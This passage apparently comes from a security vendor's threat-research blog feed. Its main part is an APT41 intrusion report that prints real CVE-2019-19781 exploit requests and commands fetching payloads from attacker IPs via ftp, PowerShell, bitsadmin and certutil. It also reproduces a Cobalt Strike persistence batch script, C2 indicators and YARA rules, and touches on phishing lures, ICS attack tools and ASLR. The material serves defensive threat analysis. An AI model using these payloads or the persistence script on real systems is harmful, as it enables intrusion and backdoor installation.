downloaded from this URL had an MD5 hash of 9e616a1757cf1d40689f34d867dd742e, employed the RC4 key ‘q23Cud3xsNf3’, and was associated with the SILENTNIGHT botnet ‘PLSPAM’. This botnet has been seen loading configuration files containing primarily U.S.- and Canada financial institution webinject targets. Furthermore, this sample was configured to connect to the following controller infrastructure: http://marchadvertisingnetwork4[.]com/post.php http://marchadvertisingnetwork5[.]com/post.php http://marchadvertisingnetwork6[.]com/post.php http://marchadvertisingnetwork7[.]com/post.php http://marchadvertisingnetwork8[.]com/post.php http://marchadvertisingnetwork9[.]com/post.php http://marchadvertisingnetwork10[.]com/post.php Figure 1: Example lure using CAD Figure 2: Example lure using AUD Figure 3: Malicious Word document Example Phishing Campaign Individuals at financial services organizations in the United States were sent emails with the subject line “Internal Guidance for Businesses Grant and loans in response to respond to COVID-19” (Figure 4). These emails had OpenDocument Presentation (.ODP) format attachments that, when opened in Microsoft PowerPoint or OpenOffice Impress, display a U.S. Small Business Administration (SBA) themed message (Figure 5) and an in-line link that redirects to an Office 365 phishing kit (Figure 6) hosted at https://tyuy56df-kind-giraffe-ok.mybluemix[.]net/. Figure 4: Email lure referencing business grants and loans Figure 5: SBA-themed message Figure 6: Office 365 phishing page Implications Malicious actors have always exploited users’ sense of urgency, fear, goodwill and mistrust to enhance their operations. The threat actors exploiting this crisis are not new, they are simply taking advantage of a particularly overtaxed target set that is urgently seeking new information. Users who are aware of this dynamic, and who approach any new information with cautious skepticism will be especially prepared to meet this challenge.

  • This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits
    by Christopher Glyer on March 25, 2020 at 12:00 pm

    Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature. Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC]) Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019). Figure 1: Timeline of key events The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.   One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet. POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: [redacted] Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.22.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler/portal/templates/[redacted] Content-Length: 96 url=http://example.com&title=[redacted]&desc=[% template.new(‘BLOCK’ = ‘print `file /bin/pwd`’) %] Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781 There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well. Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor). POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 147 Connection: close Nsc_User: ../../../netscaler/portal/templates/[redacted] User-Agent: Python-urllib/2.7 Nsc_Nonce: nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded url=http://example.com&title=[redacted]&desc=[% template.new(‘BLOCK’ = ‘print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`’) %] Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781 We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed. POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 145 Connection: close Nsc_User: ../../../netscaler/portal/templates/[redacted] User-Agent: Python-urllib/2.7 Nsc_Nonce: nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded url=http://example.com&title= [redacted]&desc=[% template.new(‘BLOCK’ = ‘print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`’) %] Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781 Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP. Cisco Router Exploitation On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload. GET /test/fuc HTTP/1.1 Host: 66.42.98\.220 User-Agent: Wget Connection: close Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget 66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration. Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action: Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability) On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll. java/lang/Runtime getRuntime ()Ljava/lang/Runtime; Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile(‘http://66.42.98[.]220:12345/test/install.bat’,’C:\ Windows\Temp\install.bat’)&powershell $client = new-object System.Net.WebClient;$client.DownloadFile(‘http://66.42.98[.]220:12345/test/storesyncsvc.dll’,’ C:\Windows\Temp\storesyncsvc.dll’)&C:\Windows\Temp\install.bat ‘(Ljava/lang/String;)Ljava/lang/Process; StackMapTable ysoserial/Pwner76328858520609 Lysoserial/Pwner76328858520609; Figure 6: Contents of logger.zip Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation. In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345. Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f). @echo off set “WORK_DIR=C:\Windows\System32” set “DLL_NAME=storesyncsvc.dll” set “SERVICE_NAME=StorSyncSvc” set “DISPLAY_NAME=Storage Sync Service” set “DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly.”  sc stop %SERVICE_NAME% sc delete %SERVICE_NAME% mkdir %WORK_DIR% copy “%~dp0%DLL_NAME%” “%WORK_DIR%” /Y reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost” /v “%SERVICE_NAME%” /t REG_MULTI_SZ /d “%SERVICE_NAME%” /f sc create “%SERVICE_NAME%” binPath= “%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%” type= share start= auto error= ignore DisplayName= “%DISPLAY_NAME%” SC failure “%SERVICE_NAME%” reset= 86400 actions= restart/60000/restart/60000/restart/60000 sc description “%SERVICE_NAME%” “%DESCRIPTION%” reg add “HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters” /f reg add “HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters” /v “ServiceDll” /t REG_EXPAND_SZ /d “%WORK_DIR%\%DLL_NAME%” /f net start “%SERVICE_NAME%” Figure 8: Contents of install.bat Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile. GET /jquery-3.3.1.min.js HTTP/1.1 Host: cdn.bootcss.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://cdn.bootcss.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit. GET /2.exe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: */* User-Agent: Microsoft-CryptoAPI/6.3 Host: 91.208.184[.]78 Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil certutil  -urlcache -split -f http://91.208.184[.]78/2.exe Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version). GET /TzGG HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) Host: 91.208.184[.]78:443 Connection: Keep-Alive Cache-Control: no-cache Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems. ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix. Outlook This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41. It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage. Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain. Indicators Type Indicator(s) CVE-2019-19781 Exploitation (Citrix Application Delivery Control) 66.42.98[.]220 CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’ CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’ CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’ /tmp/bsd /tmp/un Cisco Router Exploitation 66.42.98\.220 ‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc CVE-2020-10189 (Zoho ManageEngine Desktop Central) 66.42.98[.]220 91.208.184[.]78 74.82.201[.]8 exchange.dumb1[.]com install.bat (MD5: 7966c2c546b71e800397a67f942858d0) storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f) C:\Windows\Temp\storesyncsvc.dll C:\Windows\Temp\install.bat 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) C:\Users\[redacted]\install.bat TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9) C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78 PowerShell downloading files with Net.WebClient Detecting the Techniques FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring. Platform Signature Name Endpoint Security   BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY) CERTUTIL.EXE DOWNLOADER A (UTILITY) Generic.mg.5909983db4d9023e Generic.mg.3e856162c36b5329 POWERSHELL DOWNLOADER (METHODOLOGY) SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY) SAMWELL (BACKDOOR) SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT) Network Security Backdoor.Meterpreter DTI.Callback Exploit.CitrixNetScaler Trojan.METASTAGE Exploit.ZohoManageEngine.CVE-2020-10198.Pwner Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader Helix CITRIX ADC [Suspicious Commands]  EXPLOIT – CITRIX ADC [CVE-2019-19781 Exploit Attempt]  EXPLOIT – CITRIX ADC [CVE-2019-19781 Exploit Success]  EXPLOIT – CITRIX ADC [CVE-2019-19781 Payload Access]  EXPLOIT – CITRIX ADC [CVE-2019-19781 Scanning]  MALWARE METHODOLOGY [Certutil User-Agent]  WINDOWS METHODOLOGY [BITSadmin Transfer]  WINDOWS METHODOLOGY [Certutil Downloader] MITRE ATT&CK Technique Mapping ATT&CK Techniques Initial Access External Remote Services (T1133), Exploit Public-Facing Application (T1190) Execution PowerShell (T1086), Scripting (T1064) Persistence New Service (T1050)   Privilege Escalation Exploitation for Privilege Escalation (T1068)   Defense Evasion BITS Jobs (T1197), Process Injection (T1055)     Command And Control Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071) Appendix A: Discovery Rules The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems. import “pe” rule ExportEngine_APT41_Loader_String {             meta:                         author = “@stvemillertime”                         description “This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll”             strings:                         $pcre = /loader_[\x00-\x7F]{1,}\x00/             condition:                         uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule ExportEngine_ShortName {     meta:         author = “@stvemillertime”         description = “This looks for Win PEs where Export DLL name is a single character”     strings:         $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/     condition:         uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule ExportEngine_xArch {     meta:         author = “@stvemillertime”         description = “This looks for Win PEs where Export DLL name is a something like x32.dat”             strings:              $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/             condition:              uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } rule RareEquities_LibTomCrypt {     meta:         author = “@stvemillertime”         description = “This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt – might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples.”     strings:         $a1 = “LibTomMath”     condition:         uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1 } rule RareEquities_KCP {     meta:         author = “@stvemillertime”         description = “This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability.”     strings:         $a01 = “[RO] %ld bytes”         $a02 = “recv sn=%lu”         $a03 = “[RI] %d bytes”         $a04 = “input ack: sn=%lu rtt=%ld rto=%ld”         $a05 = “input psh: sn=%lu ts=%lu”         $a06 = “input probe”         $a07 = “input wins: %lu”         $a08 = “rcv_nxt=%lu\\n”         $a09 = “snd(buf=%d, queue=%d)\\n”         $a10 = “rcv(buf=%d, queue=%d)\\n”         $a11 = “rcvbuf”     condition:         (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*) } rule ConventionEngine_Term_Users {             meta:                         author = “@stvemillertime”                         description = “Searching for PE files with PDB path keywords, terms or anomalies.”                         sample_md5 = “09e4e6fa85b802c46bc121fcaecc5666”                         ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html”             strings:                         $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii             condition:                         (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre } rule ConventionEngine_Term_Desktop {             meta:                         author = “@stvemillertime”                         description = “Searching for PE files with PDB path keywords, terms or anomalies.”                         sample_md5 = “71cdba3859ca8bd03c1e996a790c04f9”                         ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html”             strings:                         $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii             condition:                         (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre } rule ConventionEngine_Anomaly_MultiPDB_Double {             meta:                         author = “@stvemillertime”                         description = “Searching for PE files with PDB path keywords, terms or anomalies.”                         sample_md5 = “013f3bde3f1022b6cf3f2e541d19353c”                         ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html”             strings:                         $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/             condition:                         (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2 }

  • Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats
    by Jeffrey Ashcraft on March 23, 2020 at 12:00 pm

    There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation. To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools. ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number. Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget. Figure 1: ICS attacker knowledge curve The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers. ICS Cyber Operation Tool Classification Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term “ICS-specific,” as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool’s creator(s) and the tool’s reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts. We assigned each tool to at least one of eight different categories or classes, based on functionality. Table 1: Classes of ICS-specific intrusion and attack tools While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems. Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities. Figure 2: ICS-specific intrusion and attack tools by class Software Exploit Modules Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as Autosploit, Industrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework. Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle. Exploit Modules Statistics Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG. Figure 3: ICS exploit modules by framework Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules. It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10). Figure 4: Vendors with 10 exploit modules or more Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers. Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately. ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap. Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities. FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules. Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription.

  • Six Facts about Address Space Layout Randomization on Windows
    by Jacob Thompson on March 17, 2020 at 5:00 pm

    Overcoming address space layout randomization (ASLR) is a precondition of virtually all modern memory corruption vulnerabilities. Breaking ASLR is an area of active research and can get incredibly complicated. This blog post presents some basic facts about ASLR, focusing on the Windows implementation. In addition to covering what ASLR accomplishes to improve security posture, we aim to give defenders advice on how to improve the security of their software, and to give researchers more insight into how ASLR works and ideas for investigating its limitations. Memory corruption vulnerabilities occur when a program mistakenly writes attacker-controlled data outside of an intended memory region or outside intended memory’s scope. This may crash the program, or worse, provide the attacker full control over the system. Memory corruption vulnerabilities have plagued software for decades, despite efforts by large companies like Apple, Google, and Microsoft to eradicate them. Since these bugs are hard to find and just one can compromise a system, security professionals have designed failsafe mechanisms to thwart software exploitation and limit the damage should a memory corruption bug be exploited. A “silver bullet” would be a mechanism to make exploits so tricky and unreliable that buggy code can be left in place, giving developers the years they need to fix or rewrite code in memory-safe languages. Unfortunately, nothing is perfect, but address space layout randomization (ASLR) is one of the best mitigations available. ASLR works by breaking assumptions that developers could otherwise make about where programs and libraries would lie in memory at runtime. A common example is the locations of gadgets used in return-oriented programming (ROP), which is often used to defeat the defense of data execution prevention (DEP). ASLR mixes up the address space of the vulnerable process—the main program, its dynamic libraries, the stack and heap, memory-mapped files, and so on—so that exploit payloads must be uniquely tailored to however the address space of the victim process is laid out at the time. Writing a worm that propagates by blindly sending a memory corruption exploit with hard-coded memory addresses to every machine it can find is bound to fail. So long as the target process has ASLR enabled, the exploit’s memory offsets will be different than what ASLR has selected. This crashes the vulnerable program rather than exploiting it. Fact 1: ASLR was introduced in Windows Vista. Pre-Vista versions of Windows lacked ASLR; worse, they went to great lengths to maintain a consistent address space across all processes and machines. Windows Vista and Windows Server 2008 were the first releases to feature support for ASLR for compatible executables and libraries. One might assume that prior versions simply didn’t randomize the address space, and instead simply loaded DLLs at whatever location was convenient at the time—perhaps a predictable one, but not necessarily the same between two processes or machines. Unfortunately, these old Windows versions instead went out of their way to achieve what we’ll call “Address Space Layout Consistency”. Table 1 shows the “preferred base address” of some core DLLs of Windows XP Service Pack 3. DLL Preferred Base Address ntdll 0x7c900000 kernel32 0x7c800000 user32 0x7e410000 gdi32 0x77f10000 Table 1: Windows DLLs contain a preferred base address used whenever possible if ASLR is not in place When creating a process, pre-Vista Windows loads each of the program’s needed DLLs at its preferred base address if possible. If an attacker finds a useful ROP gadget in ntdll at 0x7c90beef, for example, the attacker can assume that it will always be available at that address until a future service 